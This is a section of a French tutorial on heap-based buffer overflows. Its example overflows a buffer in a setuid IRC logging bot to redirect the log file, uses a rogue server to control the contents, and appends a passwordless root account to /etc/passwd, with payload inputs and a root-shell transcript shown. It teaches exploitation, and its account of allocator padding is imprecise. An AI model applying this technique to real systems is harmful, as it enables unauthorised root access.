III°) Le heap-based overflow
Les overflows dans le heap
Les deux types d'exploitation qui suivent (basés sur l'overflow dans les segments
bss et heap) sont légèrement différents du stack-based overflow. Dans l'exemple précédent,
le but ultime est finalement d'écraser l'adresse de retour pour changer le flux d'éxécution du programme. Dans
le cas que nous allons traiter tout de suite, les cas de dépassement de mémoire dans le heap, il n'y a
plus possibilité de déterminer l'éloignement de cette adresse de retour. Par conséquent, les overflows
dans le heap reposent sur les variables stockées après le buffer. Plus que jamais, il est nécessaire non
seulement d'être inventif pour savoir comment exploiter ce type de faille, mais surtout, il faut avoir une
vision claire du déroulement du programme et savoir analyser les répercussions que peuvent avoir le changement
de certaines variables sur le reste du programme. Bien qu'il n'y ait pas d'exemples d'école comme il a pu y
en avoir dans le cas des overflows sur pile, nous avons décidé de donner un exemple d'exploitation commun,
à savoir le dépassement de mémoire sur le nom d'un fichier qui permet l'ouverture d'un compte root par l'écriture
dans le fichier /etc/passwd.
Je note ici que les overflows dans le heap sont les plus courant et souvent les plus difficiles à exploiter : les
erreurs d'utilisation de malloc()/free() ou new/delete en C++ sont les plus fréquents et leurs exploitations très spécifiques.
Il est souvent possible d'en obtenir une exécution arbitraire à la manière de l'article précédent, mais cela demande une
connaissance bien plus fine des mécanismes de réservation dans le heap utilisés.
Un exemple d'exploitation
Le programme qui suit est le début d'un robot IRC. La particularité qu'a ce robot est qu'il
loggue (enregistre) tout ce qu'il reçoit dans le fichier /tmp/irc_logs. Pour que tout le monde puisse
l'utiliser comme il l'entend, le programme est un SRP. Contrairement aux autres rubriques, nous n'avons pas collé
le code sur la page car il est un peu plus compliqué et un peu plus long que d'habitude (un peu plus de
150 lignes). Nous pensons l'avoir suffisamment commenté pour la compréhension d'un jeune programmeur lambda.
Voici le lien :
Voici un exemple d'éxécution de ce programme et le contenu de /tmp/irc_logs après coup :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : irc.freenode.org
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : testbot
Connexion à irc.freenode.org:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /tmp/irc_logs... Ok
Envoi : NICK testbot
USER testbot . . :testbot
Fermeture de la connexion
$ cat /tmp/irc_logs
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking ident
NOTICE AUTH :*** No identd (auth) response
NOTICE AUTH :*** Found your hostname
:heinlein.freenode.net 433 * testbot :Nickname is already in use.
ERROR :Closing Link: 127.0.0.1 (Connection Timed Out)
$
Apparemment le bot fonctionne bien : il se connecte, envoie bien les bons messages, les reçoit et sais reconnaître
quand la connexion est rompue. Maintenant, avec nos connaissance sur la segmentation de la mémoire d'un programme,
on voit que les deux buffers pseudo_bot et fichier_log se suivent dans le heap. Par conséquent, un overflow
de pseudo_bot sur fichier_log devrait nous permettre de changer le fichier de logs dont se sert le bot. Avant de
vérifier ce que nous venons de dire, il nous faut parler de l'allocation de mémoire par les compilateurs. En fait,
un compilateur n'alloue pas le nombre de bytes exact qui est demandé : il alloue le nombre de byte arrondi au multiplicteur
de 16 le plus proche plus 8 bytes. Autrement dit, dans notre cas, le buffer pseudo_bot est composé de ses 30 bytes
demandés, plus 2 pour aller au prochain multiplicateur de 16 (32) plus 8 bytes. On a donc un espace alloué de 40
bytes. Les 10 bytes qui sont réservées entre l'espace du buffer et le prochain bloc alloué (ici du 31eme byte au
40eme) sont appellées les dummy bytes ou octets factices. Nous n'allons pas discuter leur intérêt ici, mais
il faut savoir qu'elles existent. Ainsi, l'overflow avant le fichier vers lequel on veut rediriger les logs doit
être long de 40 bytes exactement. En voici l'illustration :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : irc.freenode.org
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
Connexion à irc.freenode.org:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /tmp/test... Ok
Envoi : NICK aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
USER aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test . . :aqwzsxedcrfvtgbyhnujikolpmaqwzsxedcrfvtg/tmp/test
//Ici, on a demandé au programme de se terminer avec Ctrl + C, d'où l'absence de messages
$ cat /tmp/test
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking ident
NOTICE AUTH :*** Found your hostname
NOTICE AUTH :*** No identd (auth) response
:kornbluth.freenode.net 001 aqwzsxedcrfvtgby :Welcome to the freenode IRC Network aqwzsxedcrfvtgby
:kornbluth.freenode.net 002 aqwzsxedcrfvtgby :Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
NOTICE aqwzsxedcrfvtgby :*** Your host is kornbluth.freenode.net[freenode.freenode.net/6667], running version hyperion-1.0.2b
:kornbluth.freenode.net 003 aqwzsxedcrfvtgby :This server was created Fri Dec 22 00:08:18 UTC 2006
//La suite du texte a été coupée
Ainsi, nous avons facilement atteint notre premier objectif qui était de pouvoir modifier librement le nom du
fichier dans lequel étaient stockées les logs. Notre deuxième objectif est de contrôler ce qui est reçu. Pourquoi
ne pas créer notre propre serveur qui enverra les lignes que nous voulons dans le fichier ? Cela relève plutôt de
la technique de programmation plutôt que de la connaissance de la mémoire, mais nous avons choisi de vous le montrer
en tant que complément du programme de connexion client qu'est Irc-logger. Voici donc le code de notre serveur :
Maintenant, on démarre le serveur et on essaie de le contacter avec le bot :
$gcc -o serveur serveur.c
$ ./serveur
Serveur démarré sur le port 6667
Connexion entrante de 213.186.33.87
H4ck3d !
$
Par ailleurs :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : localhost
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : testbot
Connexion à localhost:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /tmp/irc_logs... Ok
Envoi : NICK testbot
USER testbot . . :testbot
Fermeture de la connexion
$ cat /tmp/irc_logs
Hello you
$
On est donc capable de contrôler à la fois où le programme écrit et ce qu'il écrit. Penchons-nous maintenant vers
le fichier
/etc/passwd. Voici deux lignes typiques de ce genre de fichier :
root:x:0:0:root:/root:/bin/bash
SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
Ce sont donc des groupes séparés par des caractères
:. Le premier groupe (dans la deuxième ligne de l'exemple,
"SeriousHack") est le login. Le deuxième est soit un x, soit rien, ce qui signifie respectivement qu'il y a besoin
d'un mot de passe ou non pour être authentifié avec ce login. Les deux groupes suivant sont l'
user id et le
group id. Le prochain groupe est une série d'informations sans trop d'importance. L'avant-dernier groupe est
le répertoire personnel ou
home de l'utilisateur et enfin, le dernier groupe représente le shell, en général
/bin/bash.
Mais que ce passerait-il si on essayait d'ajouter la ligne
compteperso::0:0:root:/root:/bin/bash au fichier ?
Et bien essayons ! On change ENVOI avec la ligne que l'on veut ajouter à /etc/passwd et on lance le serveur.
On éxécute ensuite l'overflow sur le bot IRC :
$ ./irc-logger
Veuillez entrer l'adresse du serveur : localhost
Veuillez entrer le port du serveur : 6667
Veuillez entrer le pseudo du bot : azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
Connexion à localhost:6667... Ok
Création d'un socket non-bloquant... Ok
Ouverture du fichier /etc/passwd... Ok
Envoi : NICK azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
USER azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd . . :azertyuiopqsdfghjklmwxcvbnazertyuiopqsdf/etc/passwd
Fermeture de la connexion
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
SeriousHack:x:1001:1001:,,,:/home/SeriousHack:/bin/bash
compteperso::0:0:root:/root:/bin/bash
L'ajout de la ligne a bien marché, il ne nous reste plus qu'à vérifier si la théorie que nous avons raconté n'est
pas finalement fausse ;-) Puisque dans les versions récentes la commande
su demande toujours un mot de passe,
il peut être nécessaire de se loguer sur l'un des
ttys :
Debian GNU/Linux lenny/sid SeriousHack tty3
SeriousHack login: compteperso
Linux SeriousHack 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686
SeriousHack:~#logname && whoami && id
compteperso
root
uid=0(root) gid=0(root) groupes=0(root)
SeriousHack:~#
Donc apparemment tout a bien marché comme prévu. Cet exemple n'est pas typique des
heap-based overflow, comme
nous l'avons expliqué, il répond à une situation particulière et c'est pourquoi tout le monde n'est pas capable d'utiliser
des overflows dans le
heap car cela demande une inventivité et une compréhension assez développées. Ceci dit,
cet exemple a aussi permit de voir une nouvelle technique de prise de contrôle du système (bon, légèrement obsolète..),
à savoir l'utilisation de /etc/passwd à travers les SRP ainsi que la programmation client/serveur en sockets qui est
une arme incontournable de la programmation d'accès à distance. Il reste encore un segment où les dépassements de
mémoire peuvent être intéressants : le
bss.